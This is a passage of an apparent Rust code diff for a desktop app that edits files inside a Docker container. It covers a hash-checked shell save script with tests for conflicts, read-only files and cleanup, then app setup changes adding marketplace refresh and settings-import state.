/// leave a partial `.<name>.triple-c-<suffix>` behind in the user's own directory —
|
||||
/// including on a signal, for the steps after the trap covers it.
|
||||
pub const WRITE_SCRIPT: &str = r#"target=$1; tmp=$2; expect=$3
|
||||
staged=
|
||||
trap 'rm -f -- "$tmp" ${staged:+"$staged"}' EXIT
|
||||
test -f "$target" || exit 4
|
||||
actual=$(sha256sum -- "$target") || exit 1
|
||||
actual=${actual%% *}; actual=${actual#\\}
|
||||
[ "$actual" = "$expect" ] || exit 3
|
||||
# I3: the file's own mode is a boundary the user set from outside the container (0444,
|
||||
# a different owning uid, a read-only bind mount, …). Replacing it via rename or
|
||||
# truncating it in place would silently cross that boundary even though `claude` is
|
||||
# allowed to — an editor such as vim, or a plain `echo > file` in the user's own shell,
|
||||
# would refuse. This is stricter than spec §5 step 3's literal "if the directory is
|
||||
# writable" branch, which never looks at the file's own permissions; the branch below
|
||||
# only ever chooses *how* to write, never *whether*.
|
||||
#
|
||||
# The rename branch replaces whatever is at "$target" (a symlink planted there after
|
||||
# the window opened is replaced, not followed). The in-place `cat >` fallback, taken
|
||||
# only for a writable file in a read-only directory, DOES follow such a symlink and
|
||||
# writes through it. That is accepted: the write runs as `claude`, so it can reach
|
||||
# nothing Claude Code in the same container cannot already write.
|
||||
[ -w "$target" ] || { echo "The file is read-only for the container user." >&2; exit 5; }
|
||||
dir=$(dirname -- "$target"); name=$(basename -- "$target")
|
||||
if [ -w "$dir" ]; then
|
||||
staged=$(mktemp -- "$dir/.$name.triple-c-XXXXXX") || exit 1
|
||||
cp -- "$tmp" "$staged" || exit 1
|
||||
chmod --reference="$target" "$staged" 2>/dev/null
|
||||
mv -f -- "$staged" "$target" || exit 1
|
||||
else
|
||||
cat -- "$tmp" > "$target" || exit 1
|
||||
fi
|
||||
sha256sum -- "$target""#;
|
||||
|
||||
/// A save refused because the file changed since its base hash. The frontend matches
|
||||
/// this prefix; its copy lives in `app/src/viewer/ipcMessages.ts` (pinned by a test).
|
||||
pub const CONFLICT_PREFIX: &str = "conflict:";
|
||||
/// A save refused because the file no longer exists; mirrored in `ipcMessages.ts`.
|
||||
pub const GONE_PREFIX: &str = "gone:";
|
||||
/// The read-only refusal. The script echoes the same sentence (pinned by a test), but
|
||||
/// the caller always gets this constant, whatever the script printed; mirrored in
|
||||
/// `ipcMessages.ts`.
|
||||
pub const READ_ONLY_MESSAGE: &str = "The file is read-only for the container user.";
|
||||
|
||||
/// I3: distinct from the generic failure code so the caller can hand back a specific,
|
||||
/// readable message instead of whatever the script's own diagnostic text says.
|
||||
const EXIT_READ_ONLY: i64 = 5;
|
||||
|
||||
pub enum WriteOutcome {
|
||||
Saved(String),
|
||||
Conflict,
|
||||
Gone,
|
||||
Failed(String),
|
||||
}
|
||||
|
||||
pub fn classify_write(code: i64, stdout: &str, stderr: &str) -> WriteOutcome {
|
||||
match code {
|
||||
3 => WriteOutcome::Conflict,
|
||||
4 => WriteOutcome::Gone,
|
||||
EXIT_READ_ONLY => WriteOutcome::Failed(READ_ONLY_MESSAGE.into()),
|
||||
0 => match stdout
|
||||
.split_whitespace()
|
||||
.next()
|
||||
.map(|h| h.trim_start_matches('\\'))
|
||||
.filter(|h| is_sha256_hex(h))
|
||||
{
|
||||
Some(h) => WriteOutcome::Saved(h.to_string()),
|
||||
None => WriteOutcome::Failed(
|
||||
"The container did not report the saved file's hash.".into(),
|
||||
),
|
||||
},
|
||||
_ => WriteOutcome::Failed(clip_container_text(stderr)),
|
||||
}
|
||||
}
|
||||
|
||||
/// The write script's argv beyond `sh -c SCRIPT`: `$0=save`, `$1=target`, `$2=tmp`,
|
||||
/// `$3=base_hash` — pulled out pure so the argument shape has a unit test (P8).
|
||||
fn write_command(target: &str, tmp: &str, base_hash: &str) -> Vec<String> {
|
||||
vec![
|
||||
"sh".to_string(),
|
||||
"-c".to_string(),
|
||||
WRITE_SCRIPT.to_string(),
|
||||
"save".to_string(),
|
||||
target.to_string(),
|
||||
tmp.to_string(),
|
||||
base_hash.to_string(),
|
||||
]
|
||||
}
|
||||
|
||||
/// Refuses a payload too large to be editable, or a malformed base hash, before
|
||||
/// anything is staged in the container (P8).
|
||||
fn check_write_input(len: usize, base_hash: &str) -> Result<(), String> {
|
||||
if len > MAX_WRITE_BYTES {
|
||||
return Err("Files over 1 MiB are read-only in the viewer.".into());
|
||||
}
|
||||
if !is_sha256_hex(base_hash) {
|
||||
return Err("The editor's base hash is malformed; reload the file.".into());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// What a successful save reports: `hash` is the new base, `sha256_hex` of the bytes
|
||||
/// we wrote; `disk_hash` is what the container hashed right after the swap. They differ
|
||||
/// only when another writer landed in between, and then the editor must show "Changed
|
||||
/// on disk" rather than adopt the other writer's hash as its base (M2).
|
||||
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
|
||||
pub struct SavedFile {
|
||||
pub hash: String,
|
||||
pub disk_hash: String,
|
||||
}
|
||||
|
||||
/// `viewer_write_file`'s result, pure so the error-prefix contract has a unit test.
|
||||
fn saved_file(outcome: WriteOutcome, bytes: &[u8]) -> Result<SavedFile, String> {
|
||||
match outcome {
|
||||
WriteOutcome::Saved(disk_hash) => Ok(SavedFile { hash: sha256_hex(bytes), disk_hash }),
|
||||
WriteOutcome::Conflict => Err(format!(
|
||||
"{} the file changed on disk since it was loaded.",
|
||||
CONFLICT_PREFIX
|
||||
)),
|
||||
WriteOutcome::Gone => Err(format!("{} the file no longer exists.", GONE_PREFIX)),
|
||||
WriteOutcome::Failed(msg) => Err(format!("Could not save the file: {}", msg)),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn write_file(
|
||||
container_id: &str,
|
||||
exec_manager: &ExecSessionManager,
|
||||
target: &str,
|
||||
bytes: &[u8],
|
||||
base_hash: &str,
|
||||
) -> Result<SavedFile, String> {
|
||||
check_write_input(bytes.len(), base_hash)?;
|
||||
let tmp_name = format!("triple-c-viewer-{}", uuid::Uuid::new_v4().simple());
|
||||
let tmp_path = exec_manager
|
||||
.write_file_to_container(container_id, &tmp_name, bytes)
|
||||
.await?;
|
||||
let cmd = write_command(target, &tmp_path, base_hash);
|
||||
let (stdout, stderr, code) =
|
||||
exec_oneshot_streams_as(container_id, "claude", cmd, Vec::new()).await?;
|
||||
saved_file(classify_write(code, &stdout, &stderr), bytes)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn sha256_matches_coreutils() {
|
||||
// `printf 'hello\n' | sha256sum`
|
||||
assert_eq!(
|
||||
sha256_hex(b"hello\n"),
|
||||
"5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03"
|
||||
);
|
||||
assert!(is_sha256_hex(&sha256_hex(b"")));
|
||||
assert!(!is_sha256_hex("ABC"));
|
||||
assert!(!is_sha256_hex(&"g".repeat(64)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn exit_codes_map_to_outcomes() {
|
||||
let h = "5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03";
|
||||
assert!(matches!(classify_write(0, &format!("{} /x\n", h), ""), WriteOutcome::Saved(s) if s == h));
|
||||
assert!(matches!(classify_write(3, "", ""), WriteOutcome::Conflict));
|
||||
assert!(matches!(classify_write(4, "", ""), WriteOutcome::Gone));
|
||||
assert!(matches!(classify_write(1, "", "cp: Permission denied"), WriteOutcome::Failed(m) if m.contains("Permission denied")));
|
||||
// Success without a parseable hash is still a failure: the editor's base would be wrong.
|
||||
assert!(matches!(classify_write(0, "junk", ""), WriteOutcome::Failed(_)));
|
||||
}
|
||||
|
||||
/// I3: exit 5 is the script's read-only refusal, and it must not be swallowed by
|
||||
/// the generic `_ => Failed(stderr)` arm — the caller gets a fixed, readable
|
||||
/// message regardless of exactly what the script printed.
|
||||
#[test]
|
||||
fn exit_five_is_a_distinct_read_only_refusal() {
|
||||
assert!(matches!(
|
||||
classify_write(5, "", "The file is read-only for the container user."),
|
||||
WriteOutcome::Failed(m) if m.contains("read-only")
|
||||
));
|
||||
}
|
||||
|
||||
/// M2: the new base is the hash of the bytes we wrote, never the script's
|
||||
/// post-`mv` hash, which may belong to a writer that landed after us.
|
||||
#[test]
|
||||
fn a_save_takes_its_base_from_the_written_bytes() {
|
||||
let ours = sha256_hex(b"new\n");
|
||||
let same = saved_file(WriteOutcome::Saved(ours.clone()), b"new\n").unwrap();
|
||||
assert_eq!(same, SavedFile { hash: ours.clone(), disk_hash: ours.clone() });
|
||||
|
||||
let foreign = sha256_hex(b"someone else's\n");
|
||||
let raced = saved_file(WriteOutcome::Saved(foreign.clone()), b"new\n").unwrap();
|
||||
assert_eq!(raced.hash, ours, "the base must be what we wrote");
|
||||
assert_eq!(raced.disk_hash, foreign, "the foreign hash is reported, not adopted");
|
||||
}
|
||||
|
||||
/// Important #4: the frontend matches these exact strings
|
||||
/// (`app/src/viewer/ipcMessages.ts`), so pin them here too.
|
||||
#[test]
|
||||
fn save_errors_keep_the_prefix_contract() {
|
||||
let conflict = saved_file(WriteOutcome::Conflict, b"").unwrap_err();
|
||||
assert!(conflict.starts_with("conflict:"), "{conflict}");
|
||||
assert_eq!(conflict, "conflict: the file changed on disk since it was loaded.");
|
||||
|
||||
let gone = saved_file(WriteOutcome::Gone, b"").unwrap_err();
|
||||
assert!(gone.starts_with("gone:"), "{gone}");
|
||||
assert_eq!(gone, "gone: the file no longer exists.");
|
||||
|
||||
let read_only = saved_file(classify_write(5, "", "whatever the script said"), b"").unwrap_err();
|
||||
assert_eq!(read_only, "Could not save the file: The file is read-only for the container user.");
|
||||
assert!(!read_only.starts_with(CONFLICT_PREFIX) && !read_only.starts_with(GONE_PREFIX));
|
||||
|
||||
let other = saved_file(classify_write(1, "", "No space left on device"), b"").unwrap_err();
|
||||
assert_eq!(other, "Could not save the file: No space left on device");
|
||||
|
||||
// The script's own refusal text is the same sentence the caller is given.
|
||||
assert!(WRITE_SCRIPT.contains(&format!("echo \"{}\" >&2; exit 5", READ_ONLY_MESSAGE)));
|
||||
}
|
||||
|
||||
/// The TypeScript side keeps one copy of each matched string; a change on either
|
||||
/// side without the other fails here.
|
||||
#[test]
|
||||
fn the_frontend_copies_of_the_ipc_messages_match() {
|
||||
let path = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("../src/viewer/ipcMessages.ts");
|
||||
let ts = std::fs::read_to_string(&path).expect("app/src/viewer/ipcMessages.ts");
|
||||
for (name, value) in [
|
||||
("CONFLICT_PREFIX", CONFLICT_PREFIX),
|
||||
("GONE_PREFIX", GONE_PREFIX),
|
||||
("READ_ONLY_MESSAGE", READ_ONLY_MESSAGE),
|
||||
("NOT_RUNNING_PREFIX", crate::commands::file_commands::NOT_RUNNING_PREFIX),
|
||||
] {
|
||||
let line = format!("export const {} = \"{}\";", name, value);
|
||||
assert!(ts.contains(&line), "ipcMessages.ts must contain `{line}`");
|
||||
}
|
||||
}
|
||||
|
||||
/// P15: a target path with a backslash makes `sha256sum` prefix the line;
|
||||
/// the parsed hash must still be recognised as the saved hash.
|
||||
#[test]
|
||||
fn a_backslash_prefixed_saved_hash_is_still_recognised() {
|
||||
let h = "5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03";
|
||||
assert!(matches!(
|
||||
classify_write(0, &format!("\\{} /x\\y\n", h), ""),
|
||||
WriteOutcome::Saved(s) if s == h
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_write_script_checks_then_swaps_and_always_cleans_up() {
|
||||
for needle in [
|
||||
"test -f \"$target\" || exit 4",
|
||||
"exit 3",
|
||||
"chmod --reference=\"$target\"",
|
||||
"mv -f --",
|
||||
"cat -- \"$tmp\" > \"$target\"",
|
||||
// I2/M3: the trap covers the staged file too, and it comes from `mktemp`.
|
||||
"trap 'rm -f -- \"$tmp\" ${staged:+\"$staged\"}' EXIT",
|
||||
"mktemp -- \"$dir/.$name.triple-c-XXXXXX\"",
|
||||
// I1: a plain command substitution, not a pipeline `cut` could mask.
|
||||
"actual=$(sha256sum -- \"$target\") || exit 1",
|
||||
// I3: a read-only target is refused before any write is attempted.
|
||||
"[ -w \"$target\" ] || { echo \"The file is read-only for the container user.\" >&2; exit 5; }",
|
||||
] {
|
||||
assert!(WRITE_SCRIPT.contains(needle), "missing: {}", needle);
|
||||
}
|
||||
// The old pipeline form must be gone, not merely superseded.
|
||||
assert!(!WRITE_SCRIPT.contains("cut -d' ' -f1"));
|
||||
}
|
||||
|
||||
/// P8: the write script's test list is binding, and the argument order is
|
||||
/// exactly what a later edit could silently break.
|
||||
#[test]
|
||||
fn write_command_has_the_expected_argv_shape() {
|
||||
let cmd = write_command("/w/t.txt", "/tmp/x", "abc123");
|
||||
assert_eq!(
|
||||
cmd,
|
||||
vec![
|
||||
"sh".to_string(),
|
||||
"-c".to_string(),
|
||||
WRITE_SCRIPT.to_string(),
|
||||
"save".to_string(),
|
||||
"/w/t.txt".to_string(),
|
||||
"/tmp/x".to_string(),
|
||||
"abc123".to_string(),
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
/// P8: the size cap and base-hash checks are unit-testable in isolation from
|
||||
/// the async `write_file`.
|
||||
#[test]
|
||||
fn check_write_input_refuses_oversized_payload_and_malformed_hash() {
|
||||
let h = "5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03";
|
||||
assert!(check_write_input(MAX_WRITE_BYTES, h).is_ok());
|
||||
assert!(check_write_input(MAX_WRITE_BYTES + 1, h).is_err());
|
||||
assert!(check_write_input(0, "not-a-hash").is_err());
|
||||
}
|
||||
|
||||
// ── M10: WRITE_SCRIPT run for real, against a temp dir on the host ──────────
|
||||
//
|
||||
// The needle test above only proves the script *contains* certain substrings; it
|
||||
// cannot catch the pipefail-shaped bug I1 was (the needle text was correct, the
|
||||
// shell semantics were not). These run the exact `sh -c SCRIPT save target tmp
|
||||
// hash` invocation `write_command` builds, so they pin the exit codes and cleanup
|
||||
// behaviour that `write_file`/`classify_write` actually depend on. `sh` and the
|
||||
// coreutils used here (`sha256sum`, `mktemp`, `dirname`, `basename`) are present
|
||||
// on dev machines and CI alike.
|
||||
|
||||
#[cfg(unix)]
|
||||
fn run_write_script(
|
||||
target: &std::path::Path,
|
||||
tmp: &std::path::Path,
|
||||
base_hash: &str,
|
||||
) -> (i32, String, String) {
|
||||
let out = std::process::Command::new("sh")
|
||||
.arg("-c")
|
||||
.arg(WRITE_SCRIPT)
|
||||
.arg("save")
|
||||
.arg(target)
|
||||
.arg(tmp)
|
||||
.arg(base_hash)
|
||||
.output()
|
||||
.expect("sh must be on PATH to run this test");
|
||||
(
|
||||
out.status.code().unwrap_or(-1),
|
||||
String::from_utf8_lossy(&out.stdout).into_owned(),
|
||||
String::from_utf8_lossy(&out.stderr).into_owned(),
|
||||
)
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn unique_test_dir(name: &str) -> std::path::PathBuf {
|
||||
let dir = std::env::temp_dir().join(format!("tc-write-{}-{}", name, uuid::Uuid::new_v4()));
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
dir
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn on_the_host_a_clean_save_replaces_the_file_and_cleans_up() {
|
||||
let dir = unique_test_dir("clean");
|
||||
let target = dir.join("t.txt");
|
||||
let tmp = dir.join("payload");
|
||||
std::fs::write(&target, b"old\n").unwrap();
|
||||
std::fs::write(&tmp, b"new\n").unwrap();
|
||||
let base = sha256_hex(b"old\n");
|
||||
|
||||
let (code, stdout, stderr) = run_write_script(&target, &tmp, &base);
|
||||
|
||||
assert_eq!(code, 0, "stdout={stdout} stderr={stderr}");
|
||||
let new_hash = sha256_hex(b"new\n");
|
||||
assert!(stdout.contains(&new_hash), "stdout={stdout}");
|
||||
// With no other writer, the reported disk hash is ours, so no conflict is shown.
|
||||
let saved = saved_file(classify_write(code as i64, &stdout, &stderr), b"new\n").unwrap();
|
||||
assert_eq!(saved, SavedFile { hash: new_hash.clone(), disk_hash: new_hash.clone() });
|
||||
assert_eq!(std::fs::read(&target).unwrap(), b"new\n");
|
||||
assert!(!tmp.exists(), "the staged /tmp payload must be cleaned up");
|
||||
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
/// M2, for real: another writer lands between the script's `mv` and its final
|
||||
/// `sha256sum` (simulated by a `sha256sum` shim on PATH that rewrites the target on
|
||||
/// its second call). The save's base must still be the hash of our bytes, and the
|
||||
/// foreign hash must come back as `disk_hash`, so the editor shows "Changed on disk".
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn on_the_host_a_write_that_lands_after_ours_is_reported_not_adopted() {
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let real = std::process::Command::new("sh")
|
||||
.args(["-c", "command -v sha256sum"])
|
||||
.output()
|
||||
.expect("sh");
|
||||
let real = String::from_utf8_lossy(&real.stdout).trim().to_string();
|
||||
assert!(!real.is_empty(), "sha256sum must be on PATH");
|
||||
|
||||
let dir = unique_test_dir("race");
|
||||
let bin = dir.join("bin");
|
||||
std::fs::create_dir_all(&bin).unwrap();
|
||||
let mark = dir.join("called-once");
|
||||
let shim = bin.join("sha256sum");
|
||||
std::fs::write(
|
||||
&shim,
|
||||
format!(
|
||||
"#!/bin/sh\nif [ -e '{mark}' ]; then printf 'theirs\\n' > \"$2\"; fi\n: > '{mark}'\nexec '{real}' \"$@\"\n",
|
||||
mark = mark.display(),
|
||||
real = real
|
||||
),
|
||||
)
|
||||
.unwrap();
|
||||
std::fs::set_permissions(&shim, std::fs::Permissions::from_mode(0o755)).unwrap();
|
||||
|
||||
let target = dir.join("t.txt");
|
||||
let tmp = dir.join("payload");
|
||||
std::fs::write(&target, b"old\n").unwrap();
|
||||
std::fs::write(&tmp, b"new\n").unwrap();
|
||||
let path = format!("{}:{}", bin.display(), std::env::var("PATH").unwrap_or_default());
|
||||
let out = std::process::Command::new("sh")
|
||||
.env("PATH", path)
|
||||
.arg("-c")
|
||||
.arg(WRITE_SCRIPT)
|
||||
.arg("save")
|
||||
.arg(&target)
|
||||
.arg(&tmp)
|
||||
.arg(sha256_hex(b"old\n"))
|
||||
.output()
|
||||
.unwrap();
|
||||
let (stdout, stderr) = (String::from_utf8_lossy(&out.stdout), String::from_utf8_lossy(&out.stderr));
|
||||
assert_eq!(out.status.code(), Some(0), "stdout={stdout} stderr={stderr}");
|
||||
assert_eq!(std::fs::read(&target).unwrap(), b"theirs\n", "the shim's write landed last");
|
||||
|
||||
let saved = saved_file(classify_write(0, &stdout, &stderr), b"new\n").unwrap();
|
||||
assert_eq!(saved.hash, sha256_hex(b"new\n"));
|
||||
assert_eq!(saved.disk_hash, sha256_hex(b"theirs\n"));
|
||||
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn on_the_host_a_stale_base_hash_conflicts_and_leaves_everything_untouched() {
|
||||
let dir = unique_test_dir("stale");
|
||||
let target = dir.join("t.txt");
|
||||
let tmp = dir.join("payload");
|
||||
std::fs::write(&target, b"old\n").unwrap();
|
||||
std::fs::write(&tmp, b"new\n").unwrap();
|
||||
let wrong_base = sha256_hex(b"not what is on disk\n");
|
||||
|
||||
let (code, _stdout, stderr) = run_write_script(&target, &tmp, &wrong_base);
|
||||
|
||||
assert_eq!(code, 3, "stderr={stderr}");
|
||||
assert_eq!(std::fs::read(&target).unwrap(), b"old\n", "must be untouched");
|
||||
assert!(!tmp.exists(), "the staged /tmp payload must still be cleaned up");
|
||||
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn on_the_host_a_missing_target_reports_gone() {
|
||||
let dir = unique_test_dir("gone");
|
||||
let target = dir.join("does-not-exist");
|
||||
let tmp = dir.join("payload");
|
||||
std::fs::write(&tmp, b"new\n").unwrap();
|
||||
|
||||
let (code, _stdout, stderr) = run_write_script(&target, &tmp, &sha256_hex(b"whatever"));
|
||||
|
||||
assert_eq!(code, 4, "stderr={stderr}");
|
||||
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
/// I1: a real read failure must be a real error (exit 1), never the exit-3
|
||||
/// conflict a bare `sha256sum | cut` pipeline (no `pipefail` in POSIX sh) would
|
||||
/// silently produce.
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn on_the_host_an_unreadable_target_is_an_error_not_a_conflict() {
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let dir = unique_test_dir("unreadable");
|
||||
let target = dir.join("t.txt");
|
||||
let tmp = dir.join("payload");
|
||||
std::fs::write(&target, b"old\n").unwrap();
|
||||
std::fs::write(&tmp, b"new\n").unwrap();
|
||||
std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o000)).unwrap();
|
||||
|
||||
if std::fs::read(&target).is_ok() {
|
||||
// Running as root (or some other bypass): 0o000 does not block reads,
|
||||
// so this scenario cannot be reproduced here.
|
||||
eprintln!("skipping: still able to read a 0o000 file (root?)");
|
||||
let _ = std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o644));
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
return;
|
||||
}
|
||||
|
||||
let (code, _stdout, stderr) = run_write_script(&target, &tmp, &sha256_hex(b"old\n"));
|
||||
|
||||
assert_eq!(
|
||||
code, 1,
|
||||
"an unreadable target must be a real error, not exit 3; stderr={stderr}"
|
||||
);
|
||||
assert!(!tmp.exists(), "the staged /tmp payload must still be cleaned up");
|
||||
|
||||
let _ = std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o644));
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
/// I3: a target the container user cannot write is refused outright, never
|
||||
/// replaced via rename.
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn on_the_host_a_read_only_target_is_refused_not_replaced() {
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let dir = unique_test_dir("readonly");
|
||||
let target = dir.join("t.txt");
|
||||
let tmp = dir.join("payload");
|
||||
std::fs::write(&target, b"old\n").unwrap();
|
||||
std::fs::write(&tmp, b"new\n").unwrap();
|
||||
std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o444)).unwrap();
|
||||
|
||||
if std::fs::OpenOptions::new().write(true).open(&target).is_ok() {
|
||||
eprintln!("skipping: still able to write a 0o444 file (root?)");
|
||||
let _ = std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o644));
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
return;
|
||||
}
|
||||
|
||||
let (code, _stdout, stderr) = run_write_script(&target, &tmp, &sha256_hex(b"old\n"));
|
||||
|
||||
assert_eq!(code as i64, EXIT_READ_ONLY, "stderr={stderr}");
|
||||
assert!(stderr.contains("read-only"), "stderr={stderr}");
|
||||
assert_eq!(
|
||||
std::fs::read(&target).unwrap(),
|
||||
b"old\n",
|
||||
"a read-only file must not be replaced"
|
||||
);
|
||||
assert!(!tmp.exists(), "the staged /tmp payload must still be cleaned up");
|
||||
|
||||
let _ = std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o644));
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
/// I2: a failed stage (here: an unreadable source payload, so `cp` fails after
|
||||
/// `mktemp` has already created the destination) must not leave a partial
|
||||
/// `.<name>.triple-c-<suffix>` behind in the user's own directory.
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn on_the_host_a_failed_stage_leaves_no_partial_file_behind() {
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let dir = unique_test_dir("cpfail");
|
||||
let target = dir.join("t.txt");
|
||||
let tmp = dir.join("payload");
|
||||
std::fs::write(&target, b"old\n").unwrap();
|
||||
std::fs::write(&tmp, b"new\n").unwrap();
|
||||
std::fs::set_permissions(&tmp, std::fs::Permissions::from_mode(0o000)).unwrap();
|
||||
|
||||
if std::fs::read(&tmp).is_ok() {
|
||||
eprintln!("skipping: still able to read a 0o000 file (root?)");
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
return;
|
||||
}
|
||||
|
||||
let (code, _stdout, stderr) = run_write_script(&target, &tmp, &sha256_hex(b"old\n"));
|
||||
|
||||
assert_eq!(code, 1, "stderr={stderr}");
|
||||
assert_eq!(std::fs::read(&target).unwrap(), b"old\n", "must be untouched");
|
||||
let leftovers: Vec<_> = std::fs::read_dir(&dir)
|
||||
.unwrap()
|
||||
.filter_map(|e| e.ok())
|
||||
.map(|e| e.file_name().to_string_lossy().into_owned())
|
||||
.filter(|n| n.starts_with(".t.txt.triple-c-"))
|
||||
.collect();
|
||||
assert!(leftovers.is_empty(), "staged file(s) left behind: {leftovers:?}");
|
||||
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
}
|
||||
+224
-42
@@ -1,12 +1,17 @@
|
||||
mod auth_bridge;
|
||||
mod browser_view;
|
||||
#[cfg(test)]
|
||||
mod command_census;
|
||||
mod commands;
|
||||
mod docker;
|
||||
pub mod file_viewer;
|
||||
mod install_helper;
|
||||
mod logging;
|
||||
mod marketplace;
|
||||
mod models;
|
||||
mod project_lock;
|
||||
mod storage;
|
||||
pub mod url_open;
|
||||
pub mod web_terminal;
|
||||
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
@@ -29,6 +34,22 @@ pub struct AppState {
|
||||
pub auth_bridge: Arc<AuthBridgeManager>,
|
||||
pub web_terminal_server: Arc<tokio::sync::Mutex<Option<WebTerminalServer>>>,
|
||||
pub lifecycle: Arc<Lifecycle>,
|
||||
/// The file `preview_settings_import` last decrypted successfully, held
|
||||
/// so `apply_settings_import` can re-read and re-decrypt the same file
|
||||
/// without the frontend ever passing a host path back to Rust as an
|
||||
/// argument — see the doc comment on `commands::settings_export_commands`
|
||||
/// for why that direction specifically is the one this app treats as
|
||||
/// dangerous. Deliberately re-decrypted rather than cached in plaintext:
|
||||
/// nothing here holds a decrypted secret in memory for longer than one
|
||||
/// command's execution.
|
||||
///
|
||||
/// Also pins a hash of the file's ciphertext at preview time, so
|
||||
/// `apply_settings_import` can refuse to proceed if the file on disk
|
||||
/// changed underneath the pending import — otherwise confirming a
|
||||
/// preview is not actually binding on what gets applied.
|
||||
pub pending_settings_import:
|
||||
Arc<tokio::sync::Mutex<Option<commands::settings_export_commands::PendingSettingsImport>>>,
|
||||
pub marketplace: Arc<marketplace::MarketplaceManager>,
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
@@ -205,6 +226,12 @@ pub fn run() {
|
||||
let exec_manager = Arc::new(ExecSessionManager::new());
|
||||
let auth_bridge = Arc::new(AuthBridgeManager::new());
|
||||
let lifecycle = Arc::new(Lifecycle::new());
|
||||
let marketplace = Arc::new(marketplace::MarketplaceManager::new(
|
||||
dirs::data_dir()
|
||||
.map(|d| d.join("triple-c"))
|
||||
.unwrap_or_else(|| std::env::temp_dir().join("triple-c")),
|
||||
));
|
||||
let marketplace_setup = marketplace.clone();
|
||||
|
||||
// Clone Arcs for the setup closure (web terminal auto-start)
|
||||
let projects_store_setup = projects_store.clone();
|
||||
@@ -222,7 +249,10 @@ pub fn run() {
|
||||
auth_bridge,
|
||||
web_terminal_server: Arc::new(tokio::sync::Mutex::new(None)),
|
||||
lifecycle,
|
||||
pending_settings_import: Arc::new(tokio::sync::Mutex::new(None)),
|
||||
marketplace,
|
||||
})
|
||||
.manage(file_viewer::registry::ViewerRegistry::default())
|
||||
.setup(move |app| {
|
||||
match tauri::image::Image::from_bytes(include_bytes!("../icons/icon.png")) {
|
||||
Ok(icon) => {
|
||||
@@ -247,12 +277,20 @@ pub fn run() {
|
||||
// logged warning rather than a failed start.
|
||||
//
|
||||
// Ordering matters. Probes are removed first because a probe holds
|
||||
// an image open and the sweep will not force; pins are untagged
|
||||
// an image open and the sweep will not force — both the probe
|
||||
// containers and the probe images, the latter being the one orphan
|
||||
// the sweep can never reach on its own; pins are untagged
|
||||
// second so the images they were holding are dangling by the time
|
||||
// the sweep lists them; the sweep runs last and collects both.
|
||||
let projects_store_for_cleanup = projects_store_setup.clone();
|
||||
tauri::async_runtime::spawn(async move {
|
||||
crate::docker::reap_probe_containers().await;
|
||||
// Probe *images* too, and for a sharper reason: a probe
|
||||
// container merely pins an image the sweep then refuses to
|
||||
// touch, whereas a leftover probe image is tagged and so
|
||||
// nothing else in this app can ever collect it. See
|
||||
// `reap_probe_images`.
|
||||
crate::docker::reap_probe_images().await;
|
||||
let reaped = crate::docker::reap_stale_migration_pins().await;
|
||||
if reaped > 0 {
|
||||
log::info!("Startup housekeeping dropped {} stale rollback pin(s)", reaped);
|
||||
@@ -269,6 +307,21 @@ pub fn run() {
|
||||
.await;
|
||||
});
|
||||
|
||||
// Marketplaces: refresh each once at startup, in the background.
|
||||
// Failures are logged, not toasted — the Marketplace tab shows them.
|
||||
{
|
||||
let settings = settings_store_setup.get();
|
||||
let marketplace = marketplace_setup.clone();
|
||||
tauri::async_runtime::spawn(async move {
|
||||
for m in &settings.marketplaces {
|
||||
let snap = crate::marketplace::refresh_marketplace(&marketplace, &settings, &m.id).await;
|
||||
if let Some(e) = snap.fetch_error {
|
||||
log::warn!("Marketplace \"{}\" could not be refreshed at startup: {}", m.name, e);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Auto-start web terminal server if enabled in settings
|
||||
let settings = settings_store_setup.get();
|
||||
if settings.web_terminal.enabled {
|
||||
